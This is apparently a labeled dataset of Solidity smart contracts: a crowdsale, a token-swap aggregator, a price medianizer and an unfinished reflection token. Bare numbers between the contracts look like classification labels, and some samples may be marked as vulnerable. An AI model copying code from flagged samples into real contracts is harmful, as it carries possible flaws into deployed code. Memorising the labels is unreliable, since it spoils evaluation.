pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; address public tokenWallet; constructor(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount); } } contract IncreasingPriceCrowdsale is TimedCrowdsale { using SafeMath for uint256; uint256 public initialRate; uint256 public finalRate; constructor(uint256 _initialRate, uint256 _finalRate) public { require(_initialRate >= _finalRate); require(_finalRate > 0); initialRate = _initialRate; finalRate = _finalRate; } function getCurrentRate() public view returns (uint256) { uint256 elapsedTime = block.timestamp.sub(openingTime); uint256 timeRange = closingTime.sub(openingTime); uint256 rateRange = initialRate.sub(finalRate); return initialRate.sub(elapsedTime.mul(rateRange).div(timeRange)); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 currentRate = getCurrentRate(); return currentRate.mul(_weiAmount); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } contract ConferenceCoinCrowdsale is AllowanceCrowdsale, IncreasingPriceCrowdsale, CanReclaimToken { constructor ( uint _openingTime, uint _closingTime, uint _initialRate, uint _finalRate, address _wallet, address _tokenWallet, ERC20 _token) public Crowdsale(_finalRate, _wallet, _token) AllowanceCrowdsale(_tokenWallet) TimedCrowdsale(_openingTime, _closingTime) IncreasingPriceCrowdsale(_initialRate, _finalRate) { } }
1
2,985
pragma solidity ^0.5.0; interface IGST2 { function freeUpTo(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function balanceOf(address who) external view returns (uint256); } library ExternalCall { function externalCall(address destination, uint value, bytes memory data, uint dataOffset, uint dataLength) internal returns(bool result) { assembly { let x := mload(0x40) let d := add(data, 32) result := call( sub(gas, 34710), destination, value, add(d, dataOffset), dataLength, x, 0 ) } } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract()); (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { require(abi.decode(returndata, (bool))); } } } contract TokenSpender is Ownable { using SafeERC20 for IERC20; function claimTokens(IERC20 token, address who, address dest, uint256 amount) external onlyOwner { token.safeTransferFrom(who, dest, amount); } } contract AggregatedTokenSwap { using SafeERC20 for IERC20; using SafeMath for uint; using ExternalCall for address; address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; TokenSpender public spender; IGST2 gasToken; address payable owner; uint fee; event OneInchFeePaid( IERC20 indexed toToken, address indexed referrer, uint256 fee ); modifier onlyOwner { require( msg.sender == owner, "Only owner can call this function." ); _; } constructor( address payable _owner, IGST2 _gasToken, uint _fee ) public { spender = new TokenSpender(); owner = _owner; gasToken = _gasToken; fee = _fee; } function setFee(uint _fee) public onlyOwner { fee = _fee; } function aggregate( IERC20 fromToken, IERC20 toToken, uint tokensAmount, address[] memory callAddresses, bytes memory callDataConcat, uint[] memory starts, uint[] memory values, uint mintGasPrice, uint minTokensAmount, address payable referrer ) public payable returns (uint returnAmount) { returnAmount = gasleft(); uint gasTokenBalance = gasToken.balanceOf(address(this)); require(callAddresses.length + 1 == starts.length); if (address(fromToken) != ETH_ADDRESS) { spender.claimTokens(fromToken, msg.sender, address(this), tokensAmount); } for (uint i = 0; i < starts.length - 1; i++) { if (starts[i + 1] - starts[i] > 0) { if ( address(fromToken) != ETH_ADDRESS && fromToken.allowance(address(this), callAddresses[i]) == 0 ) { fromToken.safeApprove(callAddresses[i], uint256(- 1)); } require( callDataConcat[starts[i] + 0] != spender.claimTokens.selector[0] || callDataConcat[starts[i] + 1] != spender.claimTokens.selector[1] || callDataConcat[starts[i] + 2] != spender.claimTokens.selector[2] || callDataConcat[starts[i] + 3] != spender.claimTokens.selector[3] ); require(callAddresses[i].externalCall(values[i], callDataConcat, starts[i], starts[i + 1] - starts[i])); } } if (address(toToken) == ETH_ADDRESS) { require(address(this).balance >= minTokensAmount); } else { require(toToken.balanceOf(address(this)) >= minTokensAmount); } require(gasTokenBalance == gasToken.balanceOf(address(this))); if (mintGasPrice > 0) { audoRefundGas(returnAmount, mintGasPrice); } returnAmount = _balanceOf(toToken, address(this)) * fee / 10000; if (referrer != address(0)) { returnAmount /= 2; if (!_transfer(toToken, referrer, returnAmount, true)) { returnAmount *= 2; emit OneInchFeePaid(toToken, address(0), returnAmount); } else { emit OneInchFeePaid(toToken, referrer, returnAmount / 2); } } _transfer(toToken, owner, returnAmount, false); returnAmount = _balanceOf(toToken, address(this)); _transfer(toToken, msg.sender, returnAmount, false); } function _balanceOf(IERC20 token, address who) internal view returns(uint256) { if (address(token) == ETH_ADDRESS || token == IERC20(0)) { return who.balance; } else { return token.balanceOf(who); } } function _transfer(IERC20 token, address payable to, uint256 amount, bool allowFail) internal returns(bool) { if (address(token) == ETH_ADDRESS || token == IERC20(0)) { if (allowFail) { return to.send(amount); } else { to.transfer(amount); return true; } } else { token.safeTransfer(to, amount); return true; } } function audoRefundGas( uint startGas, uint mintGasPrice ) private returns (uint freed) { uint MINT_BASE = 32254; uint MINT_TOKEN = 36543; uint FREE_BASE = 14154; uint FREE_TOKEN = 6870; uint REIMBURSE = 24000; uint tokensAmount = ((startGas - gasleft()) + FREE_BASE) / (2 * REIMBURSE - FREE_TOKEN); uint maxReimburse = tokensAmount * REIMBURSE; uint mintCost = MINT_BASE + (tokensAmount * MINT_TOKEN); uint freeCost = FREE_BASE + (tokensAmount * FREE_TOKEN); uint efficiency = (maxReimburse * 100 * tx.gasprice) / (mintCost * mintGasPrice + freeCost * tx.gasprice); if (efficiency > 100) { return refundGas( tokensAmount ); } else { return 0; } } function refundGas( uint tokensAmount ) private returns (uint freed) { if (tokensAmount > 0) { uint safeNumTokens = 0; uint gas = gasleft(); if (gas >= 27710) { safeNumTokens = (gas - 27710) / (1148 + 5722 + 150); } if (tokensAmount > safeNumTokens) { tokensAmount = safeNumTokens; } uint gasTokenBalance = IERC20(address(gasToken)).balanceOf(address(this)); if (tokensAmount > 0 && gasTokenBalance >= tokensAmount) { return gasToken.freeUpTo(tokensAmount); } else { return 0; } } else { return 0; } } function() external payable { if (msg.value == 0 && msg.sender == owner) { IERC20 _gasToken = IERC20(address(gasToken)); owner.transfer(address(this).balance); _gasToken.safeTransfer(owner, _gasToken.balanceOf(address(this))); } } }
0
888
pragma solidity ^0.4.24; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSThing is DSAuth, DSNote, DSMath { function S(string s) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked(s))); } } contract DSValue is DSThing { bool has; bytes32 val; function peek() public view returns (bytes32, bool) { return (val,has); } function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = peek(); assert(haz); return wut; } function poke(bytes32 wut) public note auth { val = wut; has = true; } function void() public note auth { has = false; } } contract Medianizer is DSThing { event LogValue(bytes32 val); uint128 val; bool public has; mapping (bytes12 => address) public values; mapping (address => bytes12) public indexes; bytes12 public next = 0x1; uint96 public min = 0x1; function set(address wat) public auth { bytes12 nextId = bytes12(uint96(next) + 1); require(nextId != 0x0); this.set(next, wat); next = nextId; } function set(bytes12 pos, address wat) public note auth { require(pos != 0x0); require(wat == 0 || indexes[wat] == 0); indexes[values[pos]] = 0x0; if (wat != 0) { indexes[wat] = pos; } values[pos] = wat; } function setMin(uint96 min_) public note auth { require(min_ != 0x0); min = min_; } function setNext(bytes12 next_) public note auth { require(next_ != 0x0); next = next_; } function unset(bytes12 pos) public auth { this.set(pos, 0); } function unset(address wat) public auth { this.set(indexes[wat], 0); } function void() external auth { has = false; } function poke() external { (bytes32 val_, bool has_) = compute(); val = uint128(val_); has = has_; emit LogValue(val_); } function peek() external view returns (bytes32, bool) { return (bytes32(val), has); } function read() external view returns (bytes32) { require(has); return bytes32(val); } function compute() public view returns (bytes32, bool) { bytes32[] memory wuts = new bytes32[](uint96(next) - 1); uint96 ctr = 0; for (uint96 i = 1; i < uint96(next); i++) { if (values[bytes12(i)] != 0) { bytes32 wut; bool wuz; (wut, wuz) = DSValue(values[bytes12(i)]).peek(); if (wuz) { if (ctr == 0 || wut >= wuts[ctr - 1]) { wuts[ctr] = wut; } else { uint96 j = 0; while (wut >= wuts[j]) { j++; } for (uint96 k = ctr; k > j; k--) { wuts[k] = wuts[k - 1]; } wuts[j] = wut; } ctr++; } } } if (ctr < min) { return (bytes32(val), false); } bytes32 value; if (ctr % 2 == 0) { uint128 val1 = uint128(wuts[(ctr / 2) - 1]); uint128 val2 = uint128(wuts[ctr / 2]); value = bytes32(wdiv(add(val1, val2), 2 ether)); } else { value = wuts[(ctr - 1) / 2]; } return (value, true); } }
1
4,519
pragma solidity ^0.7.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping(address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function process(uint256 gas) external; } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address _token; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IDEXRouter router; address[] shareholders; mapping(address => uint256) shareholderIndexes; mapping(address => uint256) shareholderClaims; mapping(address => address) shareholderClaimAs; mapping(address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; uint256 public minPeriod = 1 hours; uint256 public minDistribution = 1 * (10 ** 18); uint256 currentIndex; bool initialized; modifier initialization() { require(!initialized); _; initialized = true; } modifier onlyToken() { require(msg.sender == _token); _; } constructor (address _router) { router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _token = msg.sender; } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken { minPeriod = _minPeriod; minDistribution = _minDistribution; } function setShare(address shareholder, uint256 amount) external override onlyToken { if (shares[shareholder].amount > 0) { distributeDividend(shareholder); } if (amount > 0 && shares[shareholder].amount == 0) { addShareholder(shareholder); } else if (amount == 0 && shares[shareholder].amount > 0) { removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 balanceBefore = USDC.balanceOf(address(this)); address[] memory path = new address[](2); path[0] = WETH; path[1] = address(USDC); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value : msg.value}( 0, path, address(this), block.timestamp ); uint256 amount = USDC.balanceOf(address(this)).sub(balanceBefore); totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function process(uint256 gas) external override onlyToken { uint256 shareholderCount = shareholders.length; if (shareholderCount == 0) {return;} uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } if (shouldDistribute(shareholders[currentIndex])) { distributeDividend(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getUnpaidEarnings(shareholder) > minDistribution; } function distributeDividend(address shareholder) internal { if (shares[shareholder].amount == 0) {return;} uint256 amount = getUnpaidEarnings(shareholder); if (amount > 0) { totalDistributed = totalDistributed.add(amount); swapAndDistributeSpecial(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } } function swapAndDistributeSpecial(address shareholder, uint256 amount) internal{ address claimToken = shareholderClaimAs[shareholder]; if (claimToken == address(0)) { USDC.transfer(shareholder, amount); } else { address[] memory path = new address[](2); path[0] = address(USDC); path[1] = claimToken; try router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, shareholder, block.timestamp) {} catch{ USDC.transfer(shareholder, amount); } } } function setClaimAs(address shareholder, address claimtoken) external onlyToken { shareholderClaimAs[shareholder] = claimtoken; } function getClaimAs(address shareholder) public view onlyToken returns (address) { return shareholderClaimAs[shareholder]; } function claimDividend() external { distributeDividend(msg.sender); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if (shares[shareholder].amount == 0) {return 0;} uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if (shareholderTotalDividends <= shareholderTotalExcluded) {return 0;} return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length - 1]; shareholderIndexes[shareholders[shareholders.length - 1]] = shareholderIndexes[shareholder]; shareholders.pop(); } } contract Hydra is IERC20, Auth { using SafeMath for uint256; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Hydra"; string constant _symbol = "HYDRA"; uint8 constant _decimals = 9; uint256 _totalSupply = 3000000000000 * (10 ** _decimals); uint256 public _maxTxAmount = _totalSupply / 1000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) isDividendExempt; uint256 liquidityFee = 300; uint256 buybackFee = 300; uint256 reflectionFee = 300; uint256 marketingFee = 300; uint256 totalFee = 1200; uint256 feeDenominator = 10000; address public autoLiquidityReceiver; address public marketingFeeReceiver; uint256 targetLiquidity = 25; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 buybackMultiplierNumerator = 200; uint256 buybackMultiplierDenominator = 100; uint256 buybackMultiplierTriggeredAt; uint256 buybackMultiplierLength = 30 minutes; bool public autoBuybackEnabled = false; uint256 autoBuybackCap; uint256 autoBuybackAccumulator; uint256 autoBuybackAmount; uint256 autoBuybackBlockPeriod; uint256 autoBuybackBlockLast; DividendDistributor distributor; uint256 distributorGas = 500000; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 20000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = uint256(- 1); distributor = new DividendDistributor(address(router)); isDividendExempt[pair] = true; isDividendExempt[address(this)] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function totalSupply() external view override returns (uint256) {return _totalSupply;} function decimals() external pure override returns (uint8) {return _decimals;} function symbol() external pure override returns (string memory) {return _symbol;} function name() external pure override returns (string memory) {return _name;} function getOwner() external view override returns (address) {return owner;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];} function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(- 1)); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != uint256(- 1)) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (inSwap) {return _basicTransfer(sender, recipient, amount);} checkTxLimit(sender, amount); if (shouldSwapBack()) {swapBack();} if (shouldAutoBuyback()) {triggerAutoBuyback();} if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); if (!isDividendExempt[sender]) {try distributor.setShare(sender, _balances[sender]) {} catch {}} if (!isDividendExempt[recipient]) {try distributor.setShare(recipient, _balances[recipient]) {} catch {}} try distributor.process(distributorGas) {} catch {} emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function getTotalFee(bool selling) public view returns (uint256) { if (launchedAt + 1 >= block.number) {return feeDenominator.sub(1);} if(selling && buybackMultiplierTriggeredAt.add(buybackMultiplierLength) > block.timestamp){ return getMultipliedFee(); } return totalFee; } function getMultipliedFee() public view returns (uint256) { uint256 remainingTime = buybackMultiplierTriggeredAt.add(buybackMultiplierLength).sub(block.timestamp); uint256 feeIncrease = totalFee.mul(buybackMultiplierNumerator).div(buybackMultiplierDenominator).sub(totalFee); return totalFee.add(feeIncrease.mul(remainingTime).div(buybackMultiplierLength)); } function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 